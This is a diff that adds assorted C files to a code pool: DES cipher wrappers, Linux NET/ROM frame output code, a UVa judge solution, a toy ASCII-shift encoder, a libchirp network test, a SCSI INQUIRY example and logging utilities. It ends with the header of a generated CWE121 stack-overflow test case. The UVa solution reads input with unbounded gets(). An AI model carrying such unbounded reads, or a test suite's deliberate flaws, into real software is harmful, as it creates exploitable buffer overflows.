+                   ctx->encrypt);
+
+  return 1;
+}
+
+static const EVP_CIPHER des_cbc = {
+    NID_des_cbc,         8 /* block_size */,  8 /* key_size */,
+    8 /* iv_len */,      sizeof(EVP_DES_KEY), EVP_CIPH_CBC_MODE,
+    NULL /* app_data */, des_init_key,        des_cbc_cipher,
+    NULL /* cleanup */,  NULL /* ctrl */, };
+
+const EVP_CIPHER *EVP_des_cbc(void) { return &des_cbc; }
+
+
+typedef struct {
+  union {
+    double align;
+    DES_key_schedule ks[3];
+  } ks;
+} DES_EDE_KEY;
+
+
+static int des_ede3_init_key(EVP_CIPHER_CTX *ctx, const uint8_t *key,
+                             const uint8_t *iv, int enc) {
+  DES_cblock *deskey = (DES_cblock *)key;
+  DES_EDE_KEY *dat = (DES_EDE_KEY*) ctx->cipher_data;
+
+  DES_set_key(&deskey[0], &dat->ks.ks[0]);
+  DES_set_key(&deskey[1], &dat->ks.ks[1]);
+  DES_set_key(&deskey[2], &dat->ks.ks[2]);
+
+  return 1;
+}
+
+static int des_ede3_cbc_cipher(EVP_CIPHER_CTX *ctx, uint8_t *out,
+                              const uint8_t *in, size_t in_len) {
+  DES_EDE_KEY *dat = (DES_EDE_KEY*) ctx->cipher_data;
+
+  DES_ede3_cbc_encrypt(in, out, in_len, &dat->ks.ks[0], &dat->ks.ks[1],
+                       &dat->ks.ks[2], (DES_cblock *)ctx->iv, ctx->encrypt);
+
+  return 1;
+}
+
+static const EVP_CIPHER des3_cbc = {
+    NID_des_ede3_cbc,    8 /* block_size */,  24 /* key_size */,
+    8 /* iv_len */,      sizeof(DES_EDE_KEY), EVP_CIPH_CBC_MODE,
+    NULL /* app_data */, des_ede3_init_key,   des_ede3_cbc_cipher,
+    NULL /* cleanup */,  NULL /* ctrl */, };
+
+const EVP_CIPHER *EVP_des_ede3_cbc(void) { return &des3_cbc; }
diff --git a/pool/shard001/C/0023220_nr_out.c b/pool/shard001/C/0023220_nr_out.c
new file mode 100644
index 0000000000000000000000000000000000000000..0b4bcb2bf38f3c49f05aa609122a54c7ef6ff21b
--- /dev/null
+++ b/pool/shard001/C/0023220_nr_out.c
@@ -0,0 +1,273 @@
+/*
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * Copyright Jonathan Naylor G4KLX (g4klx@g4klx.demon.co.uk)
+ * Copyright Darryl Miles G7LED (dlm@g7led.demon.co.uk)
+ */
+#include <linux/errno.h>
+#include <linux/types.h>
+#include <linux/socket.h>
+#include <linux/in.h>
+#include <linux/kernel.h>
+#include <linux/timer.h>
+#include <linux/string.h>
+#include <linux/sockios.h>
+#include <linux/net.h>
+#include <linux/slab.h>
+#include <net/ax25.h>
+#include <linux/inet.h>
+#include <linux/netdevice.h>
+#include <linux/skbuff.h>
+#include <net/sock.h>
+#include <asm/uaccess.h>
+#include <linux/fcntl.h>
+#include <linux/mm.h>
+#include <linux/interrupt.h>
+#include <net/netrom.h>
+
+/*
+ *	This is where all NET/ROM frames pass, except for IP-over-NET/ROM which
+ *	cannot be fragmented in this manner.
+ */
+void nr_output(struct sock *sk, struct sk_buff *skb)
+{
+	struct sk_buff *skbn;
+	unsigned char transport[NR_TRANSPORT_LEN];
+	int err, frontlen, len;
+
+	if (skb->len - NR_TRANSPORT_LEN > NR_MAX_PACKET_SIZE) {
+		/* Save a copy of the Transport Header */
+		skb_copy_from_linear_data(skb, transport, NR_TRANSPORT_LEN);
+		skb_pull(skb, NR_TRANSPORT_LEN);
+
+		frontlen = skb_headroom(skb);
+
+		while (skb->len > 0) {
+			if ((skbn = sock_alloc_send_skb(sk, frontlen + NR_MAX_PACKET_SIZE, 0, &err)) == NULL)
+				return;
+
+			skb_reserve(skbn, frontlen);
+
+			len = (NR_MAX_PACKET_SIZE > skb->len) ? skb->len : NR_MAX_PACKET_SIZE;
+
+			/* Copy the user data */
+			skb_copy_from_linear_data(skb, skb_put(skbn, len), len);
+			skb_pull(skb, len);
+
+			/* Duplicate the Transport Header */
+			skb_push(skbn, NR_TRANSPORT_LEN);
+			skb_copy_to_linear_data(skbn, transport,
+						NR_TRANSPORT_LEN);
+			if (skb->len > 0)
+				skbn->data[4] |= NR_MORE_FLAG;
+
+			skb_queue_tail(&sk->sk_write_queue, skbn); /* Throw it on the queue */
+		}
+
+		kfree_skb(skb);
+	} else {
+		skb_queue_tail(&sk->sk_write_queue, skb);		/* Throw it on the queue */
+	}
+
+	nr_kick(sk);
+}
+
+/*
+ *	This procedure is passed a buffer descriptor for an iframe. It builds
+ *	the rest of the control part of the frame and then writes it out.
+ */
+static void nr_send_iframe(struct sock *sk, struct sk_buff *skb)
+{
+	struct nr_sock *nr = nr_sk(sk);
+
+	if (skb == NULL)
+		return;
+
+	skb->data[2] = nr->vs;
+	skb->data[3] = nr->vr;
+
+	if (nr->condition & NR_COND_OWN_RX_BUSY)
+		skb->data[4] |= NR_CHOKE_FLAG;
+
+	nr_start_idletimer(sk);
+
+	nr_transmit_buffer(sk, skb);
+}
+
+void nr_send_nak_frame(struct sock *sk)
+{
+	struct sk_buff *skb, *skbn;
+	struct nr_sock *nr = nr_sk(sk);
+
+	if ((skb = skb_peek(&nr->ack_queue)) == NULL)
+		return;
+
+	if ((skbn = skb_clone(skb, GFP_ATOMIC)) == NULL)
+		return;
+
+	skbn->data[2] = nr->va;
+	skbn->data[3] = nr->vr;
+
+	if (nr->condition & NR_COND_OWN_RX_BUSY)
+		skbn->data[4] |= NR_CHOKE_FLAG;
+
+	nr_transmit_buffer(sk, skbn);
+
+	nr->condition &= ~NR_COND_ACK_PENDING;
+	nr->vl         = nr->vr;
+
+	nr_stop_t1timer(sk);
+}
+
+void nr_kick(struct sock *sk)
+{
+	struct nr_sock *nr = nr_sk(sk);
+	struct sk_buff *skb, *skbn;
+	unsigned short start, end;
+
+	if (nr->state != NR_STATE_3)
+		return;
+
+	if (nr->condition & NR_COND_PEER_RX_BUSY)
+		return;
+
+	if (!skb_peek(&sk->sk_write_queue))
+		return;
+
+	start = (skb_peek(&nr->ack_queue) == NULL) ? nr->va : nr->vs;
+	end   = (nr->va + nr->window) % NR_MODULUS;
+
+	if (start == end)
+		return;
+
+	nr->vs = start;
+
+	/*
+	 * Transmit data until either we're out of data to send or
+	 * the window is full.
+	 */
+
+	/*
+	 * Dequeue the frame and copy it.
+	 */
+	skb = skb_dequeue(&sk->sk_write_queue);
+
+	do {
+		if ((skbn = skb_clone(skb, GFP_ATOMIC)) == NULL) {
+			skb_queue_head(&sk->sk_write_queue, skb);
+			break;
+		}
+
+		skb_set_owner_w(skbn, sk);
+
+		/*
+		 * Transmit the frame copy.
+		 */
+		nr_send_iframe(sk, skbn);
+
+		nr->vs = (nr->vs + 1) % NR_MODULUS;
+
+		/*
+		 * Requeue the original data frame.
+		 */
+		skb_queue_tail(&nr->ack_queue, skb);
+
+	} while (nr->vs != end &&
+		 (skb = skb_dequeue(&sk->sk_write_queue)) != NULL);
+
+	nr->vl         = nr->vr;
+	nr->condition &= ~NR_COND_ACK_PENDING;
+
+	if (!nr_t1timer_running(sk))
+		nr_start_t1timer(sk);
+}
+
+void nr_transmit_buffer(struct sock *sk, struct sk_buff *skb)
+{
+	struct nr_sock *nr = nr_sk(sk);
+	unsigned char *dptr;
+
+	/*
+	 *	Add the protocol byte and network header.
+	 */
+	dptr = skb_push(skb, NR_NETWORK_LEN);
+
+	memcpy(dptr, &nr->source_addr, AX25_ADDR_LEN);
+	dptr[6] &= ~AX25_CBIT;
+	dptr[6] &= ~AX25_EBIT;
+	dptr[6] |= AX25_SSSID_SPARE;
+	dptr += AX25_ADDR_LEN;
+
+	memcpy(dptr, &nr->dest_addr, AX25_ADDR_LEN);
+	dptr[6] &= ~AX25_CBIT;
+	dptr[6] |= AX25_EBIT;
+	dptr[6] |= AX25_SSSID_SPARE;
+	dptr += AX25_ADDR_LEN;
+
+	*dptr++ = sysctl_netrom_network_ttl_initialiser;
+
+	if (!nr_route_frame(skb, NULL)) {
+		kfree_skb(skb);
+		nr_disconnect(sk, ENETUNREACH);
+	}
+}
+
+/*
+ * The following routines are taken from page 170 of the 7th ARRL Computer
+ * Networking Conference paper, as is the whole state machine.
+ */
+
+void nr_establish_data_link(struct sock *sk)
+{
+	struct nr_sock *nr = nr_sk(sk);
+
+	nr->condition = 0x00;
+	nr->n2count   = 0;
+
+	nr_write_internal(sk, NR_CONNREQ);
+
+	nr_stop_t2timer(sk);
+	nr_stop_t4timer(sk);
+	nr_stop_idletimer(sk);
+	nr_start_t1timer(sk);
+}
+
+/*
+ * Never send a NAK when we are CHOKEd.
+ */
+void nr_enquiry_response(struct sock *sk)
+{
+	struct nr_sock *nr = nr_sk(sk);
+	int frametype = NR_INFOACK;
+
+	if (nr->condition & NR_COND_OWN_RX_BUSY) {
+		frametype |= NR_CHOKE_FLAG;
+	} else {
+		if (skb_peek(&nr->reseq_queue) != NULL)
+			frametype |= NR_NAK_FLAG;
+	}
+
+	nr_write_internal(sk, frametype);
+
+	nr->vl         = nr->vr;
+	nr->condition &= ~NR_COND_ACK_PENDING;
+}
+
+void nr_check_iframes_acked(struct sock *sk, unsigned short nr)
+{
+	struct nr_sock *nrom = nr_sk(sk);
+
+	if (nrom->vs == nr) {
+		nr_frames_acked(sk, nr);
+		nr_stop_t1timer(sk);
+		nrom->n2count = 0;
+	} else {
+		if (nrom->va != nr) {
+			nr_frames_acked(sk, nr);
+			nr_start_t1timer(sk);
+		}
+	}
+}
diff --git a/pool/shard001/C/0023222_UVA10424.c b/pool/shard001/C/0023222_UVA10424.c
new file mode 100644
index 0000000000000000000000000000000000000000..1011c37e0290984fb66abee3a5c068aeeaa25abf
--- /dev/null
+++ b/pool/shard001/C/0023222_UVA10424.c
@@ -0,0 +1,62 @@
+#include <stdio.h>
+#include <ctype.h>
+
+#define MAX_NUM_CHAR 30
+
+int getLoveValue(char name[]);
+int getDigitSum(int n);
+
+int main(void)
+{
+	char nameOne[MAX_NUM_CHAR + 1], nameTwo[MAX_NUM_CHAR + 1];
+	int valOne, valTwo;
+	double ratio;
+
+	while(gets(nameOne) != NULL)
+	{
+		gets(nameTwo);
+
+		valOne = getLoveValue(nameOne);
+		valTwo = getLoveValue(nameTwo);
+
+		if(valOne < valTwo)
+			ratio = valOne / (double) valTwo;
+		else
+			ratio = valTwo / (double) valOne;
+		ratio *= 100;
+
+		printf("%.2f %%\n", ratio);				
+	}
+	return 0;
+}
+
+int getLoveValue(char name[])
+{
+	int loveVal = 0, ind;
+
+	for(ind = 0; name[ind] != '\0'; ind++)
+		if(isalpha(name[ind]))
+		{
+			loveVal += (tolower(name[ind]) - 'a' + 1);
+		}
+
+	while(loveVal >= 10)
+	{
+		loveVal = getDigitSum(loveVal);
+	}
+
+	return loveVal;
+}
+
+int getDigitSum(int n)
+{
+	int sumDigit = 0;
+
+	while(n)
+	{
+		sumDigit += n % 10;
+		n /= 10;
+	}
+
+	return sumDigit;
+}
diff --git a/pool/shard001/C/0023229_42_L_pez_Y_ez_Brais.c b/pool/shard001/C/0023229_42_L_pez_Y_ez_Brais.c
new file mode 100644
index 0000000000000000000000000000000000000000..0726fef81c5ac7b7501c488e3c06b6142092ad6b
--- /dev/null
+++ b/pool/shard001/C/0023229_42_L_pez_Y_ez_Brais.c
@@ -0,0 +1,46 @@
+/*
+Descrición: Codificar unha mensaxe. Pide texto e sustituimos cada caracter con cada ASCII seguinte, e despois descodificámolo.
+Autor: Brais L.Y.
+Data: 11-01-2010
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <conio.h>
+
+int main (){
+    
+    system ("title Codificar unha mensaxe - Brais L.Y.");
+    system ("color 0A");
+    unsigned char a[100]={0}, b; //Igualando o vector a 0 eliminamos a porquería sobrante, si non chegamos a 100
+    int c;
+    
+    printf ("Introduce a mensaxe:\n");
+    for(c=0;((c<99) && (a[c-1]!=13));c++){
+      a[c]=getche();} 
+      
+      a[c-1]=0; //Eliminamos a porquería
+    
+    printf ("\250Queres codificar a mensaxe ou descodificala? C (Codificar), D (Descodificar)");
+    scanf ("%c", &b);
+    fflush(stdin);
+    
+    
+    if ((b=='C')||(b=='c')){ 
+               
+     for (c=0;a[c]!=0;c++){
+         a[c]=a[c]+1;}    
+     
+    
+     printf ("A mensaxe codificada \202:  %s", a);}
+
+    
+    
+    
+    if ((b=='D')||(b=='d')) {
+       for (c=0;a[c]!=0;c++){
+            a[c]=a[c]-1;}         
+       printf ("A mensaxe codificada \202:  %s", a);}    
+    
+    printf ("\n");
+    system ("pause");}
diff --git a/pool/shard001/C/0023231_send_etest.c b/pool/shard001/C/0023231_send_etest.c
new file mode 100644
index 0000000000000000000000000000000000000000..9c5c88f0194448cf7b73776b78ce423f0a28bc33
--- /dev/null
+++ b/pool/shard001/C/0023231_send_etest.c
@@ -0,0 +1,180 @@
+// ==============================
+// Testing chirp in star topology
+// ==============================
+//
+
+// Project includes
+// ================
+//
+// .. code-block:: cpp
+//
+#include "libchirp.h"
+
+// System includes
+// ===============
+//
+// .. code-block:: cpp
+//
+#include <assert.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+// Variables
+// ===============
+//
+// .. code-block:: cpp
+//
+int               _ch_tst_always_encrypt = 0;
+int               _ch_tst_msg_count      = 0;
+int               _ch_tst_sent           = 0;
+int               _ch_tst_msg_len        = 0;
+char              _ch_tst_data[]         = "hello";
+static uv_timer_t _ch_tst_sleep_timer;
+
+// Testcode
+// ========
+//
+// .. code-block:: cpp
+//
+
+static void
+_ch_tst_close_cb(uv_timer_t* handle)
+{
+    ch_chirp_t* chirp = handle->data;
+    uv_timer_stop(&_ch_tst_sleep_timer);
+    uv_close((uv_handle_t*) &_ch_tst_sleep_timer, NULL);
+    ch_chirp_close_ts(chirp);
+}
+
+static void
+ch_tst_sent_cb(ch_chirp_t* chirp, ch_message_t* msg, ch_error_t status)
+{
+    (void) (msg);
+    if (status != CH_SUCCESS) {
+        CH_WRITE_LOGC(chirp, "Send failed", "ch_message_t:%p", msg);
+        exit(status);
+    }
+    _ch_tst_sent += 1;
+    if (_ch_tst_sent < _ch_tst_msg_count) {
+        ch_chirp_send(chirp, msg, ch_tst_sent_cb);
+    } else {
+        uv_timer_start(&_ch_tst_sleep_timer, _ch_tst_close_cb, 1000, 0);
+    }
+}
+
+static void
+ch_tst_start(ch_chirp_t* chirp)
+{
+    ch_message_t* msgs = chirp->user_data;
+    for (int i = 0; i < _ch_tst_msg_len; i++) {
+        ch_chirp_send(chirp, &msgs[i], ch_tst_sent_cb);
+    }
+}
+
+static void
+ch_tst_recv(ch_chirp_t* chirp, ch_message_t* msg)
+{
+    ch_chirp_release_msg_slot(chirp, msg, NULL);
+}
+
+static void
+_ch_tst_parse_hostport_into_port(char* hostport, int* port)
+{
+    char* port_str = strstr(hostport, ":");
+    if (port_str == NULL) {
+        fprintf(stderr, "Upstream format must be host:port\n");
+        exit(1);
+    }
+    port_str++; // port start AFTER the colon..
+    *port = strtol(port_str, NULL, 10);
+
+    *strstr(hostport, ":") = '\0';
+}
+
+static void
+_ch_tst_recv_message_cb(ch_chirp_t* chirp, ch_message_t* msg)
+{
+    assert(msg != NULL && "Not a ch_message_t*");
+    CH_WRITE_LOGC(chirp, "Recevied message", "ch_message_t:%p", msg);
+    ch_chirp_release_msg_slot(chirp, msg, NULL);
+}
+
+static int
+ch_tst_send(int argc, char* argv[])
+{
+    int         tmp_err;
+    ch_chirp_t  chirp;
+    uv_loop_t   loop;
+    ch_config_t config;
+    ch_chirp_config_init(&config);
+    config.CERT_CHAIN_PEM  = "./cert.pem";
+    config.DH_PARAMS_PEM   = "./dh.pem";
+    _ch_tst_always_encrypt = strtol(argv[1], NULL, 10);
+    if (errno) {
+        fprintf(stderr, "always_encrypt must be integer.\n");
+        exit(1);
+    }
+    if (!(_ch_tst_always_encrypt == 0 || _ch_tst_always_encrypt == 1)) {
+        fprintf(stderr, "always_encrypt must be boolean (0/1).\n");
+        exit(1);
+    }
+    _ch_tst_msg_count = strtol(argv[2], NULL, 10);
+    if (errno) {
+        fprintf(stderr, "nmesg must be integer.\n");
+        exit(1);
+    }
+    int count       = argc - 3;
+    _ch_tst_msg_len = count;
+    ch_message_t msgs[count];
+    if (errno) {
+        perror(NULL);
+        return 1;
+    }
+    ch_libchirp_init();
+    ch_loop_init(&loop);
+    if (ch_chirp_init(
+                &chirp,
+                &config,
+                &loop,
+                _ch_tst_recv_message_cb,
+                ch_tst_start,
+                NULL,
+                NULL) != CH_SUCCESS) {
+        printf("ch_chirp_init error\n");
+        return 1;
+    }
+    if (_ch_tst_always_encrypt) {
+        ch_chirp_set_always_encrypt();
+    }
+    chirp.user_data = msgs;
+    for (int i = 0; i < count; i++) {
+        int           arg = 3 + i;
+        int           port;
+        ch_message_t* msg = &msgs[i];
+        ch_msg_init(msg);
+        _ch_tst_parse_hostport_into_port(argv[arg], &port);
+        tmp_err       = ch_msg_set_address(msg, AF_INET, argv[arg], port);
+        msg->data     = _ch_tst_data;
+        msg->data_len = strlen(_ch_tst_data);
+    }
+    ch_chirp_set_auto_stop_loop(&chirp);
+    uv_timer_init(&loop, &_ch_tst_sleep_timer);
+    _ch_tst_sleep_timer.data = &chirp;
+    ch_run(&loop);
+    tmp_err = ch_loop_close(&loop);
+    ch_libchirp_cleanup();
+    return tmp_err;
+}
+
+int
+main(int argc, char* argv[])
+{
+    signal(SIGPIPE, SIG_IGN);
+    if (argc < 4) {
+        printf("Arguments:\nalways_encrypt nmsgs [ipv4:port]+\n");
+        return 1;
+    }
+    ch_tst_send(argc, argv);
+}
diff --git a/pool/shard001/C/0023245_sg_simple1.c b/pool/shard001/C/0023245_sg_simple1.c
new file mode 100644
index 0000000000000000000000000000000000000000..f25414cc6abd148af415f0ef22058cc304075120
--- /dev/null
+++ b/pool/shard001/C/0023245_sg_simple1.c
@@ -0,0 +1,188 @@
+#include <unistd.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <errno.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include "sg_lib.h"
+#include "sg_io_linux.h"
+
+/* This is a simple program executing a SCSI INQUIRY command and a
+   TEST UNIT READY command using the SCSI generic (sg) driver
+   There is another variant of this program called "sg_simple2"
+   which does not include the sg_lib.h header and logic and so has
+   simpler but more primitive error processing.
+   In the lk 2.6 series devices nodes such as /dev/sda also support
+   the SG_IO ioctl.
+
+*  Copyright (C) 1999-2007 D. Gilbert
+*  This program is free software; you can redistribute it and/or modify
+*  it under the terms of the GNU General Public License as published by
+*  the Free Software Foundation; either version 2, or (at your option)
+*  any later version.
+
+   Invocation: sg_simple1 [-x] <scsi_device>
+
+   Version 03.58 (20070312)
+
+6 byte INQUIRY command:
+[0x12][   |lu][pg cde][res   ][al len][cntrl ]
+
+6 byte TEST UNIT READY command:
+[0x00][   |lu][res   ][res   ][res   ][res   ]
+
+*/
+
+#define INQ_REPLY_LEN 96
+#define INQ_CMD_LEN 6
+#define TUR_CMD_LEN 6
+
+#define EBUFF_SZ 256
+
+int main(int argc, char * argv[])
+{
+    int sg_fd, k, ok;
+    unsigned char inqCmdBlk [INQ_CMD_LEN] =
+                                {0x12, 0, 0, 0, INQ_REPLY_LEN, 0};
+    unsigned char turCmdBlk [TUR_CMD_LEN] =
+                                {0x00, 0, 0, 0, 0, 0};
+    unsigned char inqBuff[INQ_REPLY_LEN];
+    sg_io_hdr_t io_hdr;
+    char * file_name = 0;
+    char ebuff[EBUFF_SZ];
+    unsigned char sense_buffer[32];
+    int do_extra = 0;
+
+    for (k = 1; k < argc; ++k) {
+        if (0 == memcmp("-x", argv[k], 2))
+            do_extra = 1;
+        else if (*argv[k] == '-') {
+            printf("Unrecognized switch: %s\n", argv[k]);
+            file_name = 0;
+            break;
+        }
+        else if (0 == file_name)
+            file_name = argv[k];
+        else {
+            printf("too many arguments\n");
+            file_name = 0;
+            break;
+        }
+    }
+    if (0 == file_name) {
+        printf("Usage: 'sg_simple1 [-x] <sg_device>'\n");
+        return 1;
+    }
+
+    /* N.B. An access mode of O_RDWR is required for some SCSI commands */
+    if ((sg_fd = open(file_name, O_RDONLY)) < 0) {
+        snprintf(ebuff, EBUFF_SZ,
+                 "sg_simple1: error opening file: %s", file_name);
+        perror(ebuff);
+        return 1;
+    }
+    /* Just to be safe, check we have a new sg device by trying an ioctl */
+    if ((ioctl(sg_fd, SG_GET_VERSION_NUM, &k) < 0) || (k < 30000)) {
+        printf("sg_simple1: %s doesn't seem to be an new sg device\n",
+               file_name);
+        close(sg_fd);
+        return 1;
+    }
+
+    /* Prepare INQUIRY command */
+    memset(&io_hdr, 0, sizeof(sg_io_hdr_t));
+    io_hdr.interface_id = 'S';
+    io_hdr.cmd_len = sizeof(inqCmdBlk);
+    /* io_hdr.iovec_count = 0; */  /* memset takes care of this */
+    io_hdr.mx_sb_len = sizeof(sense_buffer);
+    io_hdr.dxfer_direction = SG_DXFER_FROM_DEV;
+    io_hdr.dxfer_len = INQ_REPLY_LEN;
+    io_hdr.dxferp = inqBuff;
+    io_hdr.cmdp = inqCmdBlk;
+    io_hdr.sbp = sense_buffer;
+    io_hdr.timeout = 20000;     /* 20000 millisecs == 20 seconds */
+    /* io_hdr.flags = 0; */     /* take defaults: indirect IO, etc */
+    /* io_hdr.pack_id = 0; */
+    /* io_hdr.usr_ptr = NULL; */
+
+    if (ioctl(sg_fd, SG_IO, &io_hdr) < 0) {
+        perror("sg_simple1: Inquiry SG_IO ioctl error");
+        close(sg_fd);
+        return 1;
+    }
+
+    /* now for the error processing */
+    ok = 0;
+    switch (sg_err_category3(&io_hdr)) {
+    case SG_LIB_CAT_CLEAN:
+        ok = 1;
+        break;
+    case SG_LIB_CAT_RECOVERED:
+        printf("Recovered error on INQUIRY, continuing\n");
+        ok = 1;
+        break;
+    default: /* won't bother decoding other categories */
+        sg_chk_n_print3("INQUIRY command error", &io_hdr, 1);
+        break;
+    }
+
+    if (ok) { /* output result if it is available */
+        char * p = (char *)inqBuff;
+        int f = (int)*(p + 7);
+        printf("Some of the INQUIRY command's results:\n");
+        printf("    %.8s  %.16s  %.4s  ", p + 8, p + 16, p + 32);
+        printf("[wide=%d sync=%d cmdque=%d sftre=%d]\n",
+               !!(f & 0x20), !!(f & 0x10), !!(f & 2), !!(f & 1));
+        /* Extra info, not necessary to look at */
+        if (do_extra)
+            printf("INQUIRY duration=%u millisecs, resid=%d, msg_status=%d\n",
+                   io_hdr.duration, io_hdr.resid, (int)io_hdr.msg_status);
+    }
+
+
+    /* Prepare TEST UNIT READY command */
+    memset(&io_hdr, 0, sizeof(sg_io_hdr_t));
+    io_hdr.interface_id = 'S';
+    io_hdr.cmd_len = sizeof(turCmdBlk);
+    io_hdr.mx_sb_len = sizeof(sense_buffer);
+    io_hdr.dxfer_direction = SG_DXFER_NONE;
+    io_hdr.cmdp = turCmdBlk;
+    io_hdr.sbp = sense_buffer;
+    io_hdr.timeout = 20000;     /* 20000 millisecs == 20 seconds */
+
+    if (ioctl(sg_fd, SG_IO, &io_hdr) < 0) {
+        perror("sg_simple1: Test Unit Ready SG_IO ioctl error");
+        close(sg_fd);
+        return 1;
+    }
+
+    /* now for the error processing */
+    ok = 0;
+    switch (sg_err_category3(&io_hdr)) {
+    case SG_LIB_CAT_CLEAN:
+        ok = 1;
+        break;
+    case SG_LIB_CAT_RECOVERED:
+        printf("Recovered error on Test Unit Ready, continuing\n");
+        ok = 1;
+        break;
+    default: /* won't bother decoding other categories */
+        sg_chk_n_print3("Test Unit Ready command error", &io_hdr, 1);
+        break;
+    }
+
+    if (ok)
+        printf("Test Unit Ready successful so unit is ready!\n");
+    else
+        printf("Test Unit Ready failed so unit may _not_ be ready!\n");
+
+    if (do_extra)
+        printf("TEST UNIT READY duration=%u millisecs, resid=%d, msg_status=%d\n",
+               io_hdr.duration, io_hdr.resid, (int)io_hdr.msg_status);
+
+    close(sg_fd);
+    return 0;
+}
diff --git a/pool/shard001/C/0023254_util.c b/pool/shard001/C/0023254_util.c
new file mode 100644
index 0000000000000000000000000000000000000000..8495e6377b20459b36d9d460c00240b9f7b99402
--- /dev/null
+++ b/pool/shard001/C/0023254_util.c
@@ -0,0 +1,180 @@
+#include "util.h"
+#include <time.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <stdarg.h>
+
+static char *log_file = NULL;
+static enum LEVEL log_level = INFO;
+
+int32_t atomic_inc(volatile int32_t* operand, int incr) {
+    int32_t result;
+    asm __volatile__(
+            "lock xaddl %0,%1\n"
+            : "=r"(result), "=m"(*(int *)operand)
+            : "0"(incr)
+            : "memory");
+    return result;
+}
+
+__attribute__((constructor)) int32_t get_xid() {
+    static int32_t xid = -1; 
+    if (xid == -1) {
+        xid = time(0);
+    }   
+    return atomic_inc(&xid,1);
+}
+
+char *ll2string(long long v) {
+    int i, len = 2;
+    long long tmp;
+    char *buf;
+    
+    tmp = v;
+    while ((tmp /= 10) > 0) len++;
+    
+    buf = malloc(len);
+    if (!buf) {
+        fprintf(stderr, "Exited, as malloc failed at ll2string.\n");
+        exit(1);
+    }
+
+    i = len - 2;
+    while (v > 0) {
+        buf[i--] = v % 10 + '0';
+        v /= 10;
+    }
+    buf[len - 1] = '\0';
+
+    return buf;
+}
+
+// This function was copied from redis/sds.c
+char **sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count) {
+    int elements = 0, slots = 5, start = 0, j;
+    char **tokens, *tmp;
+
+    if (seplen < 1 || len < 0) return NULL;
+
+    tokens = malloc(sizeof(char *)*slots);
+    if (tokens == NULL) return NULL;
+
+    if (len == 0) { 
+        *count = 0; 
+        return tokens;
+    }    
+    for (j = 0; j < (len-(seplen-1)); j++) {
+        /* make sure there is room for the next element and the final one */
+        if (slots < elements+2) {
+            char **newtokens;
+
+            slots *= 2;
+            newtokens = realloc(tokens,sizeof(char *)*slots);
+            if (newtokens == NULL) goto cleanup;
+            tokens = newtokens;
+        }    
+        /* search the separator */
+        if ((seplen == 1 && *(s+j) == sep[0]) || (memcmp(s+j,sep,seplen) == 0)) {
+            if (j-start > 0) {
+                tmp = malloc(j-start+1);
+                memcpy(tmp, s+start, j-start);
+                tmp[j-start] = '\0';
+                tokens[elements] = tmp;
+                if (tokens[elements] == NULL) goto cleanup;
+                elements++;
+            }
+            start = j+seplen;
+            j = j+seplen-1; /* skip the separator */
+        }
+    }
+    /* Add the final element. We are sure there is room in the tokens array. */
+    if (len - start > 0) {
+        tmp = malloc(len-start+1);
+        memcpy(tmp, s+start, len-start);
+        tmp[len-start] = '\0';
+        tokens[elements] = tmp;
+        if (tokens[elements] == NULL) goto cleanup;
+        elements++;
+    }
+    *count = elements;
+    return tokens;
+
+cleanup:
+    {
+        int i;
+        for (i = 0; i < elements; i++) free(tokens[i]);
+        free(tokens);
+        *count = 0;
+        return NULL;
+    }
+}
+
+/* Free the result returned by sdssplitlen(), or do nothing if 'tokens' is NULL. */
+void sdsfreesplitres(char **tokens, int count) {
+    if (!tokens) return;
+    while(count--)
+        free(tokens[count]);
+    free(tokens);
+}
+
+void set_loglevel_by_string(const char *level) {
+    int len;
+    
+    len = strlen(level);
+    if (strlen("debug") == len && !memcmp("debug", level, len)) {
+        log_level = DEBUG;
+    } else if (strlen("info") == len && !memcmp("info", level, len)) {
+        log_level = INFO;
+    } else if (strlen("warn") == len && !memcmp("warn", level, len)) {
+        log_level = WARN;
+    } else if (strlen("error") == len && !memcmp("error", level, len)) {
+        log_level = ERROR;
+    }
+}
+
+void set_log_level(enum LEVEL level) {
+    log_level  = level;
+} 
+
+void set_log_file(char *filename) {
+    log_file = filename;
+}
+
+void logger(enum LEVEL loglevel,char *fmt, ...) {
+    FILE *fp;
+    va_list ap;
+    time_t now;
+    char buf[4096];
+    char t_buf[64];
+    char *msg = NULL;
+    const char *color = "";
+
+    if(loglevel < log_level) {
+        return;
+    }
+
+    va_start(ap, fmt);
+    vsnprintf(buf, sizeof(buf), fmt, ap);
+    va_end(ap);
+    switch(loglevel) {
+        case DEBUG: msg = "DEBUG"; color = C_YELLOW; break;
+        case INFO:  msg = "INFO";  color = C_GREEN; break;
+        case WARN:  msg = "WARN";  color = C_PURPLE; break;
+        case ERROR: msg = "ERROR"; color = C_RED; break;
+    }
+
+    now = time(NULL);
+    strftime(t_buf,64,"%Y-%m-%d %H:%M:%S",localtime(&now));
+    fp = (log_file == NULL) ? stdout : fopen(log_file,"a");
+    if(log_file) {
+        fprintf(fp, "[%s] [%s] %s\n", t_buf, msg, buf);
+        fclose(fp);
+    } else {
+        fprintf(fp, "%s[%s] [%s] %s"C_NONE"\n", color, t_buf, msg, buf);
+    }
+
+    if(loglevel >= ERROR) {
+        exit(1);
+    }
+}
diff --git a/pool/shard001/C/0023261_CWE121_Stack_Based_Buffer_Overflow__CWE806_wchar_t_alloca_memcpy_52a.c b/pool/shard001/C/0023261_CWE121_Stack_Based_Buffer_Overflow__CWE806_wchar_t_alloca_memcpy_52a.c
new file mode 100644
index 0000000000000000000000000000000000000000..ffdcd0248caca87f1c7800f4a3d848d83ecfdff1
--- /dev/null
+++ b/pool/shard001/C/0023261_CWE121_Stack_Based_Buffer_Overflow__CWE806_wchar_t_alloca_memcpy_52a.c
@@ -0,0 +1,88 @@
+/* TEMPLATE GENERATED TESTCASE FILE
+Filename: CWE121_Stack_Based_Buffer_Overflow__CWE806_wchar_t_alloca_memcpy_52a.c
+Label Definition File: CWE121_Stack_Based_Buffer_Overflow__CWE806.label.xml
+Template File: sources-sink-52a.tmpl.c
+*/
+/*
+ * @description
+ * CWE: 121 Stack Based Buffer Overflow
